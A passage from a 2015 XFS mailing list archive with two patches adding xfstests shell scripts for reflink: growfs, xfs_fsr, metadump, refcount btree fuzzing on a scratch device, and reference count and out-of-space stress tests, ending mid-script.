0pt8G/YVUzJSuZJBBWK5QTHi6Wwpuz2Sw26yFDQhsP3vYJMjW3Nd5xi0+PyJKVY0fLzPBHfb vuBzmx0P+oY/qDiR3+bNG+YxXL4fhs0+XEYCIN8XggV2ezpzTeCC6GJzZFtJDZLJiLAmDG3E aQ0iQBVzEvobhkg0GI9t9CLXoZjLq8iVg/+z89bhZe6yDedCZvTEmQ+XmTwLfPNgLuV7PHsw mqZVky7Ew6Ypp/cWtY7uXKjwqhi10SCCo/TrFt3/OetiG98YeIy9iGmMOanXuH4A/B/JWE28 7y8BAA== --SUOF0GtieIMvvwua-- From darrick.wong@oracle.com Wed Oct 7 00:14:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8931B29F3A for ; Wed, 7 Oct 2015 00:14:21 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 25790AC005 for ; Tue, 6 Oct 2015 22:14:21 -0700 (PDT) X-ASG-Debug-ID: 1444194857-04bdf020db0ec40001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id xg0M6nQq7AeTQHOF (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:14:18 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975EFei021348 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:14:16 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975EFYD007472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:14:15 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t975EExp027167; Wed, 7 Oct 2015 05:14:15 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:14:13 -0700 Subject: [PATCH 10/12] xfs: test xfs-specific reflink pieces From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 10/12] xfs: test xfs-specific reflink pieces To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:14:11 -0700 Message-ID: <20151007051411.3260.97743.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194857 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Check that growfs and xfs_fsr still work properly on reflinked fses. Signed-off-by: Darrick J. Wong --- tests/xfs/800 | 77 +++++++++++++++++++++++++++++++ tests/xfs/800.out | 5 ++ tests/xfs/801 | 133 +++++++++++++++++++++++++++++++++++++++++++++++++++++ tests/xfs/801.out | 15 ++++++ tests/xfs/802 | 89 +++++++++++++++++++++++++++++++++++ tests/xfs/802.out | 6 ++ tests/xfs/803 | 104 +++++++++++++++++++++++++++++++++++++++++ tests/xfs/803.out | 13 +++++ tests/xfs/group | 4 ++ 9 files changed, 446 insertions(+) create mode 100755 tests/xfs/800 create mode 100644 tests/xfs/800.out create mode 100755 tests/xfs/801 create mode 100644 tests/xfs/801.out create mode 100755 tests/xfs/802 create mode 100644 tests/xfs/802.out create mode 100755 tests/xfs/803 create mode 100644 tests/xfs/803.out diff --git a/tests/xfs/800 b/tests/xfs/800 new file mode 100755 index 0000000..58059f7 --- /dev/null +++ b/tests/xfs/800 @@ -0,0 +1,77 @@ +#! /bin/bash +# FS QA Test No. 800 +# +# Tests xfs_growfs on a reflinked filesystem +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs xfs +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_cp_reflink + +echo "Format and mount" +_scratch_mkfs -d size=$((2 * 4096 * 4096)) -l size=4194304 > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +echo "Create the original file and reflink to copy1, copy2" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * 14 + 71))" $TESTDIR/original \ + >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/original $TESTDIR/copy1 +cp --reflink=always $TESTDIR/copy1 $TESTDIR/copy2 + +echo "Grow fs" +$XFS_GROWFS_PROG $SCRATCH_MNT 2>&1 | _filter_growfs >> $seqres.full + +xfs_info $SCRATCH_MNT >> $seqres.full + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/xfs/800.out b/tests/xfs/800.out new file mode 100644 index 0000000..280daa5 --- /dev/null +++ b/tests/xfs/800.out @@ -0,0 +1,5 @@ +QA output created by 800 +Format and mount +Create the original file and reflink to copy1, copy2 +Grow fs +Check scratch fs diff --git a/tests/xfs/801 b/tests/xfs/801 new file mode 100755 index 0000000..96a47e4 --- /dev/null +++ b/tests/xfs/801 @@ -0,0 +1,133 @@ +#! /bin/bash +# FS QA Test No. 801 +# +# Ensure that xfs_fsr un-reflinks files while defragmenting +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* +} + +# get standard environment, filters and checks +. common/rc +. common/filter + +# real QA test starts here +_supported_fs xfs +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_cp_reflink + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR +FREE_BLOCKS0=$(stat -f $TESTDIR -c '%f') + +echo "Create the original file and reflink to file2, file3" +BLKS=2000 +MARGIN=100 +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKS * BLKSZ))" $TESTDIR/file1 \ + >> $seqres.full 2>&1 +cp --reflink=always $TESTDIR/file1 $TESTDIR/file2 +cp --reflink=always $TESTDIR/file2 $TESTDIR/file3 +cp --reflink=always $TESTDIR/file3 $TESTDIR/file4 +_test_remount +FREE_BLOCKS1=$(stat -f $TESTDIR -c '%f') + +C01=$(_md5_checksum $TESTDIR/file1) +C02=$(_md5_checksum $TESTDIR/file2) +C03=$(_md5_checksum $TESTDIR/file3) +C04=$(_md5_checksum $TESTDIR/file4) + +echo "CoW the reflink copies" +$XFS_IO_PROG -f -c "pwrite -S 0x62 $BLKSZ $BLKSZ" $TESTDIR/file2 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x63 $(( BLKSZ * (BLKS - 1) )) $BLKSZ" $TESTDIR/file3 >> $seqres.full +_test_remount +FREE_BLOCKS2=$(stat -f $TESTDIR -c '%f') + +C11=$(_md5_checksum $TESTDIR/file1) +C12=$(_md5_checksum $TESTDIR/file2) +C13=$(_md5_checksum $TESTDIR/file3) +C14=$(_md5_checksum $TESTDIR/file4) + +echo "Defragment" +lsattr -l $TESTDIR/ | sed -e "s,$SCRATCH_MNT,SCRATCH_MNT,g" +xfs_fsr -v -d $TESTDIR/file1 >> $seqres.full +xfs_fsr -v -d $TESTDIR/file2 >> $seqres.full # fsr probably breaks the link +xfs_fsr -v -d $TESTDIR/file3 >> $seqres.full # fsr probably breaks the link +xfs_fsr -v -d $TESTDIR/file4 >> $seqres.full # fsr probably ignores this file +_test_remount +FREE_BLOCKS3=$(stat -f $TESTDIR -c '%f') + +C21=$(_md5_checksum $TESTDIR/file1) +C22=$(_md5_checksum $TESTDIR/file2) +C23=$(_md5_checksum $TESTDIR/file3) +C24=$(_md5_checksum $TESTDIR/file4) + +echo "Check files" +test $C01 = $C02 || echo "Files 1-2 do not match" +test $C01 = $C03 || echo "Files 1-3 do not match" +test $C01 = $C04 || echo "Files 1-4 do not match" +test $C02 = $C03 || echo "Files 2-3 do not match" +test $C02 = $C04 || echo "Files 2-4 do not match" +test $C03 = $C04 || echo "Files 3-4 do not match" + +test $C01 = $C11 || echo "File1 should not be different after CoW" +test $C02 != $C12 || echo "File2 should be different after CoW" +test $C03 != $C13 || echo "File3 should be different after CoW" +test $C04 = $C14 || echo "File4 should not be different after CoW" + +test $C11 = $C21 || echo "File1 changed by defrag" +test $C12 = $C22 || echo "File2 changed by defrag" +test $C13 = $C23 || echo "File3 changed by defrag" +test $C14 = $C24 || echo "File4 changed by defrag" + +#echo $FREE_BLOCKS0 $FREE_BLOCKS1 $FREE_BLOCKS2 $FREE_BLOCKS3 + +_within_tolerance "free blocks after creating some reflink copies" $FREE_BLOCKS1 $((FREE_BLOCKS0 - BLKS)) $MARGIN -v +_within_tolerance "free blocks after CoW some reflink copies" $FREE_BLOCKS2 $((FREE_BLOCKS1 - 2)) $MARGIN -v +_within_tolerance "free blocks after defragging all reflink copies" $FREE_BLOCKS3 $((FREE_BLOCKS2 - (BLKS * 2))) $MARGIN -v +_within_tolerance "free blocks after all tests" $FREE_BLOCKS3 $((FREE_BLOCKS0 - (BLKS * 3))) $MARGIN -v + +echo "Check scratch fs" +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/xfs/801.out b/tests/xfs/801.out new file mode 100644 index 0000000..9e5f4ca --- /dev/null +++ b/tests/xfs/801.out @@ -0,0 +1,15 @@ +QA output created by 801 +Format and mount +Create the original file and reflink to file2, file3 +CoW the reflink copies +Defragment +SCRATCH_MNT/test-801/file1 --- +SCRATCH_MNT/test-801/file2 --- +SCRATCH_MNT/test-801/file3 --- +SCRATCH_MNT/test-801/file4 --- +Check files +free blocks after creating some reflink copies is in range +free blocks after CoW some reflink copies is in range +free blocks after defragging all reflink copies is in range +free blocks after all tests is in range +Check scratch fs diff --git a/tests/xfs/802 b/tests/xfs/802 new file mode 100755 index 0000000..05c5004 --- /dev/null +++ b/tests/xfs/802 @@ -0,0 +1,89 @@ +#! /bin/bash +# FS QA Test No. 802 +# +# Ensure that we can create enough distinct reflink entries to force creation +# of a multi-level refcount btree, and that metadump will successfully copy +# said block. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR $METADUMP_FILE +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs +_require_test +_require_scratch +_require_scratch_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR +METADUMP_FILE="${TEST_DIR}/${seq}_metadump" + +echo "Create the original file blocks" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_BLKS=$((4 * BLKSZ / 12)) +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_BLKS))" $TESTDIR/file1 >> $seqres.full + +echo "Reflink every other block" +touch $TESTDIR/file2 +seq 1 $((NR_BLKS / 2)) | while read nr; do + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 $((nr * 2 * BLKSZ)) $((nr * 2 * BLKSZ)) $BLKSZ" $TESTDIR/file2 >> $seqres.full +done + +echo "Create metadump file" +_scratch_unmount +_scratch_metadump $METADUMP_FILE + +# Now restore the obfuscated one back and take a look around +echo "Restore metadump" +xfs_mdrestore "${METADUMP_FILE}" "${SCRATCH_DEV}" +_scratch_mount +_scratch_unmount + +echo "Check restored fs" +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/xfs/802.out b/tests/xfs/802.out new file mode 100644 index 0000000..ad2ef03 --- /dev/null +++ b/tests/xfs/802.out @@ -0,0 +1,6 @@ +QA output created by 802 +Create the original file blocks +Reflink every other block +Create metadump file +Restore metadump +Check restored fs diff --git a/tests/xfs/803 b/tests/xfs/803 new file mode 100755 index 0000000..62a9246 --- /dev/null +++ b/tests/xfs/803 @@ -0,0 +1,104 @@ +#! /bin/bash +# FS QA Test No. 803 +# +# Create and populate an XFS filesystem, corrupt the refcount btree, +# then see how the kernel and xfs_repair deal with it. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015 Oracle, Inc. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + #rm -f $tmp.* +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_supported_fs xfs +_supported_os Linux + +_require_scratch +_require_scratch_reflink +test -n "${FORCE_FUZZ}" || _require_scratch_xfs_crc +_require_attrs + +rm -f $seqres.full + +echo "+ create scratch fs" +_scratch_mkfs_xfs > /dev/null + +echo "+ mount fs image" +_scratch_mount +blksz="$(stat -f -c '%s' "${SCRATCH_MNT}")" +agcount="$(xfs_info "${SCRATCH_MNT}" | grep agcount= | sed -e 's/^.*agcount=\([0-9]*\),.*$/\1/g')" + +echo "+ make some files" +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $((blksz * 64))" "${SCRATCH_MNT}/file0" >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((blksz * 64))" "${SCRATCH_MNT}/file1" >> $seqres.full +cp --reflink=always "${SCRATCH_MNT}/file0" "${SCRATCH_MNT}/file2" +cp --reflink=always "${SCRATCH_MNT}/file1" "${SCRATCH_MNT}/file3" +umount "${SCRATCH_MNT}" + +echo "+ check fs" +_scratch_xfs_repair -n >> $seqres.full 2>&1 || _fail "xfs_repair should not fail" + +echo "+ corrupt image" +for ag in $(seq 1 $((agcount - 1))) 0; do + $XFS_DB_PROG -x -c "agf ${ag}" -c "agf ${ag}" -c "addr refcntroot" -c "stack" -c "blocktrash -x 4096 -y 4096 -z -n 8 -3" "${SCRATCH_DEV}" >> $seqres.full 2>&1 +done + +echo "+ mount image" +_scratch_mount + +echo "+ reflink more" +cp --reflink=always "${SCRATCH_MNT}/file1" "${SCRATCH_MNT}/file4" 2> /dev/null && _fail "should not be able to reflink with busted refcount btree" +umount "${SCRATCH_MNT}" + +echo "+ repair fs" +_scratch_xfs_repair >> $seqres.full 2>&1 +_scratch_xfs_repair >> $seqres.full 2>&1 + +echo "+ mount image (2)" +_scratch_mount + +echo "+ chattr -R -i" +chattr -R -f -i "${SCRATCH_MNT}/" + +echo "+ reflink more (2)" +cp --reflink=always "${SCRATCH_MNT}/file1" "${SCRATCH_MNT}/file5" || _fail "modified refcount tree" +umount "${SCRATCH_MNT}" + +echo "+ check fs (2)" +_scratch_xfs_repair -n >> $seqres.full 2>&1 || _fail "xfs_repair should not fail" + +status=0 +exit diff --git a/tests/xfs/803.out b/tests/xfs/803.out new file mode 100644 index 0000000..582682d --- /dev/null +++ b/tests/xfs/803.out @@ -0,0 +1,13 @@ +QA output created by 803 ++ create scratch fs ++ mount fs image ++ make some files ++ check fs ++ corrupt image ++ mount image ++ reflink more ++ repair fs ++ mount image (2) ++ chattr -R -i ++ reflink more (2) ++ check fs (2) diff --git a/tests/xfs/group b/tests/xfs/group index 8261f86..cbbd810 100644 --- a/tests/xfs/group +++ b/tests/xfs/group @@ -220,3 +220,7 @@ 303 auto quick quota 304 auto quick quota 305 auto quota +800 auto quick clone +801 auto quick clone +802 auto quick clone +803 fuzzers From darrick.wong@oracle.com Wed Oct 7 00:14:26 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0CB6F29F02 for ; Wed, 7 Oct 2015 00:14:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 80C84AC005 for ; Tue, 6 Oct 2015 22:14:25 -0700 (PDT) X-ASG-Debug-ID: 1444194863-04cb6c578a0dc10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id bYurI63LI9gphNIU (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:14:23 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t975ELQc021367 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:14:21 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t975ELRk007651 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:14:21 GMT Received: from abhmp0003.oracle.com (abhmp0003.oracle.com [141.146.116.9]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t975EKsY024477; Wed, 7 Oct 2015 05:14:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:14:19 -0700 Subject: [PATCH 11/12] reflink: test what happens when we hit resource limits From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 11/12] reflink: test what happens when we hit resource limits To: david@fromorbit.com, darrick.wong@oracle.com Cc: Anna.Schumaker@netapp.com, linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, fstests@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 22:14:18 -0700 Message-ID: <20151007051418.3260.71528.stgit@birch.djwong.org> In-Reply-To: <20151007051257.3260.73072.stgit@birch.djwong.org> References: <20151007051257.3260.73072.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444194863 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Add a few horrible opt-in stress tests to see what happens if we try to reflink the same block billions of times, and what happens if we run out of space while reflinking a file. Signed-off-by: Darrick J. Wong --- tests/generic/840 | 106 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/840.out | 0 tests/generic/841 | 85 +++++++++++++++++++++++++++++++++++++++ tests/generic/841.out | 5 ++ tests/generic/group | 2 + 5 files changed, 198 insertions(+) create mode 100755 tests/generic/840 create mode 100644 tests/generic/840.out create mode 100755 tests/generic/841 create mode 100644 tests/generic/841.out diff --git a/tests/generic/840 b/tests/generic/840 new file mode 100755 index 0000000..50ccae9 --- /dev/null +++ b/tests/generic/840 @@ -0,0 +1,106 @@ +#! /bin/bash +# FS QA Test No. 840 +# +# Try to hit the maximum reference count (eek!) +# +# This test runs extremely slowly, so it's not automatically run anywhere. +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_test +_require_scratch +_require_scratch_reflink +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +# Well let's hope the maximum reflink count is (less than (ha!)) 2^32... + +echo "Create a one block file" +BLKSZ="$(stat -f $TESTDIR -c '%S')" +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $BLKSZ" $TESTDIR/file1 >> $seqres.full +$XFS_IO_PROG -f -c "pwrite -S 0x62 0 $BLKSZ" $TESTDIR/file2 >> $seqres.full + +$XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 0 $BLKSZ" $TESTDIR/file2 >> $seqres.full + +nr=32 +fnr=32 +for i in $(seq 0 $fnr); do + echo " ++ Reflink size $i, $(( (2 ** i) * BLKSZ)) bytes" | tee -a $seqres.full + $XFS_IO_PROG -f -c "reflink $TESTDIR/file1 0 $(( (2 ** i) * BLKSZ)) $(( (2 ** i) * BLKSZ ))" $TESTDIR/file1 >> $seqres.full || break +done + +nrf=$((nr - fnr)) +echo "Clone $((2 ** nrf)) files" +for i in $(seq 0 $((2 ** nrf)) ); do + cp --reflink=always $TESTDIR/file1 $TESTDIR/file1-$i +done + +echo "Check scratch fs" +umount $SCRATCH_MNT +$XFS_DB_PROG -c 'agf 0' -c 'addr rlroot' -c p $SCRATCH_DEV +_check_scratch_fs + +echo "Remove big file and recheck" +_scratch_mount >> $seqres.full 2>&1 +#rm -rf $TESTDIR/file1 +umount $SCRATCH_MNT +_check_scratch_fs + +echo "Remove all files and recheck" +_scratch_mount >> $seqres.full 2>&1 +#rm -rf $TESTDIR/file2 +umount $SCRATCH_MNT +_check_scratch_fs + +# success, all done +status=0 +exit diff --git a/tests/generic/840.out b/tests/generic/840.out new file mode 100644 index 0000000..e69de29 diff --git a/tests/generic/841 b/tests/generic/841 new file mode 100755 index 0000000..5cc534e --- /dev/null +++ b/tests/generic/841 @@ -0,0 +1,85 @@ +#! /bin/bash +# FS QA Test No. 841 +# +# Try to run out of space while cloning? +# +#----------------------------------------------------------------------- +# Copyright (c) 2015, Oracle and/or its affiliates. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -rf $tmp.* $TESTDIR1 +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/attr + +# real QA test starts here +_require_scratch +_require_scratch_reflink +_require_test_reflink +_supported_os Linux + +_require_xfs_io_command "reflink" +_require_cp_reflink + +rm -f $seqres.full + +echo "Format and mount" +_scratch_mkfs > $seqres.full 2>&1 +_scratch_mount >> $seqres.full 2>&1 + +TESTDIR=$SCRATCH_MNT/test-$seq +rm -rf $TESTDIR +mkdir $TESTDIR + +BLKSZ="$(stat -f $TESTDIR -c '%S')" +NR_FREE="$(stat -f -c '%f' $TESTDIR)" +echo "Create a big file" +touch $TESTDIR/file0 $TESTDIR/file1 +$XFS_IO_PROG -f -c "pwrite -S 0x61 0 $((BLKSZ * NR_FREE))" $TESTDIR/bigfile >> $seqres.full 2>&1 +_scratch_remount +sz="$(stat -c '%s' $TESTDIR/bigfile)" + +blks="$((sz / BLKSZ))" +echo "Try to reflink" +seq 0 $blks | while read lblk; do + fname="$TESTDIR/file$((lblk % 2))" + 